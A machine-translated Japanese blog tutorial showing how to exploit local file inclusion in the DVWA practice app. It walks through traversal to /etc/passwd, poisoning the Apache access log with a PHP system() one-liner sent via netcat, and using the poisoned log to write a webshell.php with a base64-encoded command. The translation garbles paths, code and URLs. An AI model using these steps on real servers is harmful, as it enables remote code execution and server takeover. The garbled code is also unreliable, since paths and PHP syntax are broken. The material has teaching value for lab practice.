くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI)
筆者:
Ashfaqアンサリ

によるレビュー:
評価:
5
上の 3月 18, 2013
最終更新日:3月 18, 2013

要約:

ローカルファイルインクルージョン (LFI) 最も頻繁にウェブサイト上で見つかった脆弱性の種類です. これは、攻撃者がローカルファイルを含めることができます, 通常、Webサーバー上のスクリプトを使用して. この脆弱性は、適切な検証せずにユーザーが指定した入力の使用に起因して発生する.

はじめに

 

の最初の部分で くそ脆弱なWebアプリケーション (DVWA) シリーズ, 我々はインストールすることができますどのように見てきました くそ脆弱なWebアプリケーション (DVWA) 上の バックトラック 5 R1.
 

あなたは、最初の部分を読んでいない場合, ここにリンクです: HTTP://hacksys.vfreaks.com /ペンテスト/いまいましい-脆弱-WEB-APP-SQL-injection.html

 

今, 我々はとして知られている別の攻撃ベクトルをテストします ローカルファイルインクルージョン (LFI).
 

ローカルファイルインクルージョン (LFI) 最も頻繁にウェブサイト上で見つかった脆弱性の種類です. これは、攻撃者がローカルファイルを含めることができます, 通常、Webサーバー上のスクリプトを使用して.
 

この脆弱性は、適切な検証せずにユーザーが指定した入力の使用に起因して発生する. ファイルの内容を出力し、これは最小限なものにつながることができ, しかし、重症度に応じて, いくつかをリストするには、につながることができます:
 


1. Webサーバー上のコードの実行.
2. このようなクロスサイトスクリプティングなどの他の攻撃につながることができ、JavaScriptなどのクライアント側でのコードの実行 (XSS).
3. サービス拒否 (DoS攻撃).
4. データの盗難やデータ操作.

 

今, 背後にある考え方 ローカルファイルインクルージョン (LFI) 攻撃ベクトルがあることです, それは、Webサーバがそれにアクセスする権限を持っている場合、攻撃者が脆弱なウェブスクリプトを使用してWebサーバー上のローカルファイルを含めることができます.
 

あなたはすべてのことを考えなければなりません “それに多大は何ですか?”.
 

よく, 私は、これは非常に深刻な問題であると言わなければならない Webサーバが正しく設定されていない場合.
 

レッツ, 攻撃者が脆弱なPHPスクリプトを経由してWebサーバ上のローカルファイルをインクルードすることができることを考える. それは彼が含まれているファイルの中にある任意のPHPコードを実行することができることを意味します.
 

今, あなたのいくつかは考えなければなりません “それがアクセスを得るためにハッカーを支援していない場合、ローカルファイルを含めることにより、PHPスクリプトを実行しての使用は何ですか?”.
 

Apache HTTPサーバ Webサーバ上で起こった全てを記録するための異なるメカニズムを数多く提供しています, 最初の要求から, URLマッピングプロセスを介して, 接続の最終的な解決に, プロセスで発生した可能性のあるエラーを含む.
 

ここで見つかったセキュリティ警告の抜粋です Apache HTTPサーバのドキュメントページ.
 

リンク: http://httpd.apache.org/docs/2.4/logs.html
 

セキュリティ警告: のApache httpdがログファイルを書いているディレクトリに書き込める人は、ほぼ確実に、サーバーは、次のように開始されているUIDへのアクセスを得ることができる, これは、通常ルートである. 人々は、ログは結果を意識せずに保存されているディレクトリへの書き込みアクセス権を与えないでください. 詳細はセキュリティのヒントに関するドキュメントを参照してください. 加えて, ログファイルは、クライアントから直接供給される情報を含んでいてもよい, エスケープなし. 故に, 悪意のあるクライアントがログファイルに制御文字を挿入することが可能である, ので注意が生のログを扱うには注意が必要.

 

ご参考までに, で バックトラック 5 R1, ザ Apache HTTPサーバのログ ファイルは次の場所にあります:
 

/VAR /ログ/ apache2の/のaccess.log

/var/log/apache2/error.log


 

くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) ログファイルのパス
 

あなたは既にログディレクトリの権限に関する上記のセキュリティ警告を読んだ. 攻撃者が使用してログファイルのパスを見つけることに成功した場合 ディレクトリトラバーサル攻撃, 彼がログファイルに悪意のあるコードを書くことで、これらのログをポイズニングできます, もし “ログ” ディレクトリとファイルのパーミッションが正しく設定されていない.
 

我々はどのように我々ができる目につくようになる ログファイルを この記事の後半で.
 

に関する基本的な情報で武装 ローカルファイルインクルージョン (LFI), みましょう進行し、実用的なセッションでそれを経験.
 

注意: バックトラックで 5 R1, ザ “のaccess.log” ために、ファイルのアクセス許可 “他人” に設定されています “禁断の”.

 

くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) ファイルアクセス権のログ
 

今, 与えてみましょう “読むことができます” 許可をアクセス “他人”.
 

くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) ファイルアクセス権のログ読む
 

私たちは、設定されている “読むことができます” 我々は実証することができるようにパーミッション ローカルファイルインクルージョン (LFI) 使用して攻撃 くそ脆弱なWebアプリケーション (DVWA).
 

セットを取得して行く.

 

にログインしてみましょう くそ脆弱なWebアプリケーション (DVWA) と設定 セキュリティー レベルに 低い.
 

くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) ローへのセキュリティ
 

をクリックします ファイルの取り込み.
 

くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) ファイルインクルージョンタブ
 

HTTP://192.168.96.128/dvwa /脆弱性/ /で?ページ= include.php

 

ファイルを含めるように編集 ?ページ= index.phpを 含まれているファイルを決定するためのURLで.
 

上記のURLは実際に脆弱であるかどうかを確認してみましょう ローカルファイルインクルージョン.
 

私たちは行います ディレクトリ·トラバーサル と含まれるようにしよう /passwdファイルの/ etc ファイル. これを含めることは成功である場合, 我々は、コンテンツを見つける /passwdファイルの/ etc ウェブページに表示.
 

HTTP://192.168.96.128/dvwa /脆弱性/ /で?ページ= .. / .. / .. / .. / .. / etc / passwdに

 

くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) /etc / passwdファイルインクルージョン
 

それはよさそうだ! 我々は、することができました /passwdファイルの/ etc 内のファイル くそ脆弱なWebアプリケーション (DVWA) 正常にウェブページとしての完全な内容を表示した /passwdファイルの/ etc ファイル.
 

私たちの次のタスクが含まれるようにしようとすることです Apacheのログファイル. 再び, 我々は、使用されます ディレクトリ·トラバーサル と含まれるようにしよう /VAR /ログ/ apache2の/のaccess.log ファイル.
 

くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) アクセスログのインクルージョン
 

HTTP://192.168.96.128/dvwa /脆弱性/ /で?ページ= .. / .. / .. / .. /ログ/ apache2の/のaccess.log

 

ワウ! これは、私たちのために良い日です. 名所良い方法で作業している. Apache Webサーバーの のaccess.log ファイルが正常に含まれています. それはそのようになりまし素晴らしい兆候だ, 我々は向かって頭としようとすることができます ポイズンApacheのエラーログ.
 

注意: 私はこのバックトラックを使用しているとして 5 年以来、R1. 私はクリアされます のaccess.logerror.logファイル ように私は簡単にあなたのログファイルの毒の部分を見せることができるよ.    

くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) ログのクリア

我々はに準備ができている のaccess.log ファイル. これは、攻撃者が含まれるようにするのに役立ちますので、これは重要なステップです のaccess.log ファイルおよび実行 毒PHPコード に書き込まれている のaccess.log このステップ内のファイル. 中毒の内容をチェックすることによって確認することができる error.logファイル ファイル.
 

オープン ターミナル とに接続 Apache Webサーバー ポート上で 80 使用 netcatを.
 

1
2
3
ルート@ BT:〜# NC 192.168.96.128 80

GET /hazStart<?PHPシステム(BASE64_DECODE($_GET[A]));?>HTTP hazEnd/1.1

 

くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) ポイズンログ
 

今, 中毒が成功したかどうかを確認することができます. このために, 我々は両方開きます のaccess.logerror.logファイル ファイルとそのエントリを理解しよう.
 

くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) ポイズンログ
 

くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) ポイズンログ
 

クール! 我々は持っている 毒のログ·ファイル. すべてのものは、予想通りに働いている.
 

注意: 我々はすでにミニPHPシェルを書かれている のaccess.log ログファイル. 今、私たちの次の動機はくそ脆弱WebアプリケーションをホストしているWebサーバーのルートに別のミニPHPシェルを書くことです (DVWA).

 

ここでは、Webサーバー上でミニPHPシェルを書き込みますコマンドがある.
 

1
エコー "<?PHPシステム(BASE64_DECODE($_GET['p'は])); ?>" > ../../webshel​​l.php

 

あなたは覚えていれば ミニPHPシェル 我々は中に注入したスクリプト のaccess.log ファイル, シェルスクリプトのコードを以下に示します:
 

1
<?PHP システム(BASE64_DECODE($_GET['])); ?>

 

あなたは私たちが、シェルスクリプトのコードを見て後に行うべきであることを次のステップを推測することができます?
 

よく, 今、私たちは使用して、WebサーバーのルートにミニPHPシェルスクリプトを作成するコマンドをエンコードします base64で符号化アルゴリズム.
 

ここまでシンプルなのpythonプログラムです base64でエンコード 文字列:
 

1
2
3
4
5
#!/USR / binに/パイソン

base64encodedstr = "" "エコー"<?PHPシステム(BASE64_DECODE($_GET['p'は])); ?>" > ../../webshel​​l.php """

印刷 "\Nエンコードされた文字列: " + base64encodedstr.エンコード(「base64で」,「厳しい」) + "\N"

 

くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) Base64でエンコード
 

base64でエンコードされた文字列 以下に与えられる:
 

1
ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA/PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA=

 

我々はシェルで歓迎される前に、これが最後のステップであることを行っている. 🙂
 

私たちは、に移動します URLは 書き込みするには、以下の ミニPHPシェルスクリプトWebサーバーのルート.

HTTP://192.168.96.128/dvwa /脆弱性/ /で?ページ= .. / .. / .. / .. /ログ/ apache2の/のaccess.log?A = ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA / PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA =

 

くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) PHPによるWebシェル
 

ついに!! 私達は首尾よくそれを行っている. 私たちは、アップロードした ミニPHPシェル 使用 ローカルファイルインクルージョンの脆弱性くそ脆弱なWebアプリケーション (DVWA).
 

私は、自動化を愛し、それは私が、Pythonを愛する理由です. Pythonはあなたに非常に簡単に複雑なことを達成するための優れた力を与える.
 

私は、我々は搾取を自動化するために書いたPythonスクリプトを書いた ローカルファイルインクルージョン (LFI)くそ脆弱なWebアプリケーション (DVWA).
 

くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) スクリプトのエクスプロイト
 

エクスプロイトスクリプトの長さが非常に大きいように, 私はこの記事で使用されているすべてのスクリプトをzip形式で圧縮し、ダウンロードすることができました.
 

ダウンロード くそ脆弱なWebアプリケーション – ローカルファイルインクルージョン (LFI) 素材を投稿:
 

DVWA - LFIのエクスプロイトスクリプト
3.9 KIB
644 ダウンロード
詳細...

 

この記事を読むために時間を割いていただきありがとうございます. 私はこれがあなたを役に立てば幸い. 何か疑問を持っている場合や、に関して何を議論したい場合は、コメントバック残すこと自由に感じなさい ローカルファイルインクルージョン (LFI).
 

46,411 閲覧, 22 今日の閲覧回数

以下の2つのタブが、以下の内容を変更する.

Ashfaqアンサリ

セキュリティー研究者
Ashfaqアンサリはの創設者であり、 HackSysチーム コー​​ドネーム "ヒョウ属". 彼は、情報セキュリティの様々な側面での経験を持つセキュリティ研究者である. 彼が執筆しています "HackSysエクストリーム脆弱ドライバ" と "死のシェルコード". 彼はまた、書かれており、低レベルのソフトウェア開発のさまざまなホワイトペーパーを公開しています. 彼のコアの関心が内にあり "低レベルの搾取", "リバースエンジニアリング", "プログラム解析" と "ハイブリッドファジング". 彼は人工知能と機械学習のミーハーです. 彼はのための章リードです ヌルプネ.

2 への対応 “くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI)”

  1. それはのaccess.logの読み取り権限を持たない攻撃を表示することも可能です. 言い換えれば、禁止に設定権限を残して? ほとんどのサーバーは、最初の場所でこのセットを持っている可能性があるので. いただければ幸いです.

    • ハイ KC,

      残念なことに, ログファイルが持っている必要が 読み出し許可 上の のaccess.log.

      しない限り、, 我々は、ファイルを読み取ることができます, 我々は攻撃を実行することができません.

      しかしながら, してもいいです 別の攻撃ベクトルを試してみてください.

      感謝.

返信を残す

あなたのメールアドレスは公開されません. 必須フィールドがマークされている *